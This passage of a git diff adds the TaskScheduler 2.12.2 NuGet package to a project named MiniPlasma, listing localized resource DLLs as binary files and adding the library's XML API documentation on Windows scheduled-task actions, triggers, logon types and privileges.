/dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ae1b7bf Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..63f4c5a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1332292 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..586b008 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..debbfce Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..216cf4b Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..4c53cbb Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..599c52a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: 